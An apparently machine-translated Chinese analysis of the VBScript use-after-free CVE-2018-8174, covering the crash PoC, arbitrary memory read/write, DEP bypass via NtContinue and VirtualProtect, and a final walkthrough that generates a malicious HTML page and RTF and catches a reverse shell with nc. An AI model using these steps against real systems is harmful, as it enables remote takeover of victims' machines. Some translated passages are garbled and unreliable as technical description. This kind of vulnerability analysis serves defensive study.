Windows VBScript引擎远程执行代码漏洞 之CVE-2018-8174

漏洞简介VB引擎处理内存中对象的方式中存在一个远程执行代码漏洞。该漏洞可能以一种攻击者可以在当前用户的上下文中执行任意代码的方式来破坏内存。成功利用此漏洞的攻击者可以获得与当前用户相同的用户权限。如果…

漏洞介绍 VB引擎处理内存中对象的方式中存在一个远程执行代码漏洞。该漏洞可能以一种攻击者可以在当前用户的上下文中执行任意代码的方式来破坏内存。成功利用此漏洞的攻击者可以获得与当前用户相同的用户权限。如果当前用户使用管理用户权限登录,则成功利用此漏洞的攻击者可以控制受影响的系统。然后攻击者可以安装该程序;查看,更改或删除数据;或创建具有完全用户权限的新帐户。 在基于Web的攻击情形中,攻击者可以通过Internet Explorer利用此漏洞的特定网站,然后诱使用户查看该网站。攻击者还可以在承载IE呈现引擎的应用程序或Microsoft Office文档中嵌入标记为“安全初始化”的ActiveX控件。攻击者还可以利用受到破坏的网站和接受或托管用户提供的内容或广告的网站。这些网站可能包含可能利用此漏洞的特制内容。 在2018年5月8日,微软发布了一个影响最流行系统版本的安全补丁。 漏洞基本信息

漏洞原则 由于样本的严重混淆,一些代码如图1所示。这里,简化的POC用于分析。代码如图2所示。

图1样本非常困惑

图2 Crash Poc Crash Poc定义了两个数组array_a和array_b,并声明了一个类MyTest,并重载了析构函数Class_Terminate。在UAF中创建的MyTest实例被分配给数组array_a(1),并且array_a中的元素被Erase array_a清除。当破坏array_a中的元素时,它将在脚本中触发Class_Terminate的调用。在class_Terminate中,添加对MyTest实例的array_b(0)引用(MyTest实例引用计数为+1),然后通过array_a(1)=1删除array_a(1)对MyTest实例的引用(MyTest实例引用计数) -1)平衡引用计数,当MyTest实例被释放时,array_b(0)仍然保留对此MyTest实例的引用,因此array_b(0)指向释放的MyTest实例的内存,最后访问未分配的MyTestVuln中通过b(0)=0的漏洞中的内存。

当我们在启用页堆IE的情况下运行PoC时,我们可以观察到OLEAUT32!VariantClear函数崩溃:调用释放的内存时会发生访问冲突异常。

从堆信息中,我们可以看到eb(0x14032fd0)在vb的调用堆栈中释放!VbsErase,vb!VbsErase对应于脚本中的Erase,而eax是VBClass:释放函数释放的VBClass对象。脚本中的MyTest实例。 VBClass: Release的逻辑如下:

VBClass:释放对VBClass -1(& VBClass +0x4)的第一个引用,如果引用计数=0,则调用VBClass: TerminateClass,调用VBClass: TerminateClass,因为Class_Terminate函数在脚本中被重载。所以我有机会执行脚本。在这里,我可以保存要在脚本控制的变量(Set array_b(0)=array_a(1))中释放的VBClass内存地址,并在释放VBClass的内存之前释放array_a(1)。 )=1平衡引用计数并最终释放内存。

设置array_a(1)=New MyTest,VBClass引用计数为2。 在Erase array_a返回后,MyTest指向的内存已被释放,但array_b(0)仍然指向释放的内存,形成一个悬空指针,如下图所示:

利用分析 UAF漏洞利用的关键是如何使用这个浮动指针来操纵内存。该漏洞使用多个UAF来完成类型混淆。它可以通过伪造精细数组对象完成任意地址的读写,最后通过构造对象来获得代码执行。代码执行不使用传统的ROP技术或GodMod技术,而是通过脚本布局。 Shellcode利用率。 用于任意写入目的的伪造数组 UMF制造两类mem成员指向的偏移量为0x0c字节,并且通过对两个对象mem成员的写入操作伪造0x7fffffff大小的数组。

伪造的数组大致是这样的:具有7fffffff元素的一维数组,每个元素占用1个字节,元素存储器地址为0.因此,数组可以访问的存储空间是0x00000000到0x7ffffffff * 1。因此,可以在任何地址读取和写入阵列。但是,当存储lIlIIl时,存储的类型是字符串类型,因此只有数据类型将被修改为0x200C,即VT_VARIANT | VT_ARRAY,数组类型,才能达到目的。 读取指定参数的内存数据

在攻击代码中,上述函数主要用于读取参数指定的内存地址的数据。想法是数据类型是VBS中的bstr,并且字符串地址的前4个字节的内容(即bstr类型大小字段的大小)由lenb(bstrxx)在vb中返回,并且指定获得内存读取能力。如上面的代码所示,如果传入的参数是addr(0x11223344),首先将4添加到0x11223348,然后将变量类型设置为8(字符串类型)。然后调用len函数并发现它是BSTR类型。 vb将考虑其前4个字节,即0x11223344,来存储地址存储器的长度。因此,执行len函数实际上会返回参数内存地址的值。 获取密钥DLL基地址

由DOSmodeSearch获得。

通过泄漏CEntryPoint对象的虚函数表地址,该地址属于Vb.dll。

由于vb.dll导入msvcrt.dll,因此通过遍历vb.dll导入表获取msvcrt.dll基址。 msvcrt.dll引入了kernelbase.dll,ntdll.dll,最后获取了NtContinue和VirtualProtect函数地址。 绕过DEP执行shellcode 一个。使用任何读写方法将VAR的类型类型修改为0x4d,然后分配0以使虚拟机执行VAR:清除功能,如下图所示。

湾通过仔细控制使代码执行ntdll!ZwContinue函数,第一个参数CONTEXT结构也是由攻击者精心构造的,见下图。

c.ZwContinue的第一个参数是一个指向CONTEXT结构的指针,它在CONTEXT中计算EIP和ESP的偏移量。 d。在CONTEXT中Eip和Esp的值以及攻击者在实际操作中的方法,请参见下图。

攻击者将CONTEXT中的EIP设置为VirutalProtect,并将ESP中的返回地址和VirtualProtect的第一个参数设置为shellcode的起始地址。执行ZwContinue时,直接跳转到VirtualProtect并启动第一条指令。

根据攻击者构造的参数,将shellcode的内存设置为可执行状态。当VirtualProtect返回时,它将跳转到shellcode执行。

最后,调用WinExec弹出计算器。

MSF利用率 环境准备

Python CVE-2018-8174.py -uhttp://192.168.106.139/exploit.html -o msf.rtf -i 192.168.106.139 -p 4444 将explot.html复制到/var/www/html目录。

将msf.rtf复制到/root/.msf4/local目录。

打开apache服务

Nc侦听端口4444 在目标的IE浏览器中打开恶意URL,或打开word以打开msf.rtf

收到一个弹跳外壳

参考资料: http://blogs.360.cn/post/cve-2018-8174-en.html http://www.freebuf.com/vuls/172983.html